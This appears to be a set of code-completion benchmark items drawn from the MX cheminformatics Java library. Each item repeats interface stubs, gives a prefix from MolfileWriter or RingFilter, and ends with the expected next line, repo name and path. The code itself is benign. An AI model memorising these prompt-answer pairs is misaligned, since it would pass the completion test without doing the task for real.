// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // }
import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.text.DecimalFormat; import java.text.DecimalFormatSymbols; import java.util.List; import java.util.ArrayList;
writer.writeLine(" CHEMWRIT 2D"); } private void writeComments(Molecule molecule, Writer writer) { writer.writeLine("Created with MX - http://rapodaca.github.com/mx"); } private void writeCounts(Molecule molecule, Writer writer) { writer.write(MDLStringKit.padLeft(String.valueOf(molecule.countAtoms()), 3)); writer.write(MDLStringKit.padLeft(String.valueOf(molecule.countBonds()), 3)); writer.write(ZERO3); writer.write(ZERO3); writer.write(CHIRAL_OFF); for (int i = 0; i < 5; i++) { writer.write(ZERO3); } writer.write(MDLStringKit.padLeft(String.valueOf(0), 3)); writer.write(VERSION); writer.write(NEWLINE); } private void writeAtoms(Molecule molecule, Writer writer) { for (int i = 0; i < molecule.countAtoms(); i++) {
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/io/mdl/MolfileWriter.java import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.text.DecimalFormat; import java.text.DecimalFormatSymbols; import java.util.List; import java.util.ArrayList; writer.writeLine(" CHEMWRIT 2D"); } private void writeComments(Molecule molecule, Writer writer) { writer.writeLine("Created with MX - http://rapodaca.github.com/mx"); } private void writeCounts(Molecule molecule, Writer writer) { writer.write(MDLStringKit.padLeft(String.valueOf(molecule.countAtoms()), 3)); writer.write(MDLStringKit.padLeft(String.valueOf(molecule.countBonds()), 3)); writer.write(ZERO3); writer.write(ZERO3); writer.write(CHIRAL_OFF); for (int i = 0; i < 5; i++) { writer.write(ZERO3); } writer.write(MDLStringKit.padLeft(String.valueOf(0), 3)); writer.write(VERSION); writer.write(NEWLINE); } private void writeAtoms(Molecule molecule, Writer writer) { for (int i = 0; i < molecule.countAtoms(); i++) {
Atom atom = molecule.getAtom(i);
metamolecular/mx
src/com/metamolecular/mx/io/mdl/MolfileWriter.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // }
import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.text.DecimalFormat; import java.text.DecimalFormatSymbols; import java.util.List; import java.util.ArrayList;
break; case 3: chargeString = "1"; break; case -1: chargeString = "5"; break; case -2: chargeString = "6"; break; case -3: chargeString = "7"; break; } writer.write(MDLStringKit.padLeft(chargeString, 3)); for (int j = 0; j < 10; j++) { writer.write(ZERO3); } writer.writeLine(); } } private void writeBonds(Molecule molecule, Writer writer) { for (int i = 0; i < molecule.countBonds(); i++) {
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/io/mdl/MolfileWriter.java import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.text.DecimalFormat; import java.text.DecimalFormatSymbols; import java.util.List; import java.util.ArrayList; break; case 3: chargeString = "1"; break; case -1: chargeString = "5"; break; case -2: chargeString = "6"; break; case -3: chargeString = "7"; break; } writer.write(MDLStringKit.padLeft(chargeString, 3)); for (int j = 0; j < 10; j++) { writer.write(ZERO3); } writer.writeLine(); } } private void writeBonds(Molecule molecule, Writer writer) { for (int i = 0; i < molecule.countBonds(); i++) {
Bond bond = molecule.getBond(i);
metamolecular/mx
src/com/metamolecular/mx/io/mdl/MolfileWriter.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // }
import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.text.DecimalFormat; import java.text.DecimalFormatSymbols; import java.util.List; import java.util.ArrayList;
{ writeSgroupCount(molecule, writer); for (int i = 0; i < molecule.countSuperatoms(); i++) { writeSingleSgroup(molecule.getSuperatom(i), writer); } } } private void writeSgroupCount(Molecule molecule, Writer writer) { int substructureCount = molecule.countSuperatoms(); writer.write(M + "STY" + MDLStringKit.padLeft(String.valueOf(substructureCount), 3)); for (int i = 0; i < substructureCount; i++) { writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4)); writer.write(MDLStringKit.padLeft("SUP", 4)); } writer.writeLine(); writer.write(M + "SLB" + MDLStringKit.padLeft(String.valueOf(substructureCount), 3)); for (int i = 0; i < substructureCount; i++) { writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4)); writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4)); } writer.writeLine(); }
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/io/mdl/MolfileWriter.java import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.text.DecimalFormat; import java.text.DecimalFormatSymbols; import java.util.List; import java.util.ArrayList; { writeSgroupCount(molecule, writer); for (int i = 0; i < molecule.countSuperatoms(); i++) { writeSingleSgroup(molecule.getSuperatom(i), writer); } } } private void writeSgroupCount(Molecule molecule, Writer writer) { int substructureCount = molecule.countSuperatoms(); writer.write(M + "STY" + MDLStringKit.padLeft(String.valueOf(substructureCount), 3)); for (int i = 0; i < substructureCount; i++) { writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4)); writer.write(MDLStringKit.padLeft("SUP", 4)); } writer.writeLine(); writer.write(M + "SLB" + MDLStringKit.padLeft(String.valueOf(substructureCount), 3)); for (int i = 0; i < substructureCount; i++) { writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4)); writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4)); } writer.writeLine(); }
private void writeSingleSgroup(Superatom substructure, Writer writer)
metamolecular/mx
src/com/metamolecular/mx/ring/RingFilter.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/query/AtomMatcher.java // public interface AtomMatcher // { // boolean matches(Atom atom); // }
import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.query.AtomMatcher; import java.util.ArrayList;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class RingFilter { private RingFinder ringFinder; private Comparator comparator;
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/query/AtomMatcher.java // public interface AtomMatcher // { // boolean matches(Atom atom); // } // Path: src/com/metamolecular/mx/ring/RingFilter.java import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.query.AtomMatcher; import java.util.ArrayList; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class RingFilter { private RingFinder ringFinder; private Comparator comparator;
private AtomMatcher filter;
metamolecular/mx
src/com/metamolecular/mx/ring/RingFilter.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/query/AtomMatcher.java // public interface AtomMatcher // { // boolean matches(Atom atom); // }
import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.query.AtomMatcher; import java.util.ArrayList;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class RingFilter { private RingFinder ringFinder; private Comparator comparator; private AtomMatcher filter; public RingFilter(AtomMatcher filter, RingFinder finder) { ringFinder = finder; comparator = new RingSizeComparator(); this.filter = filter; }
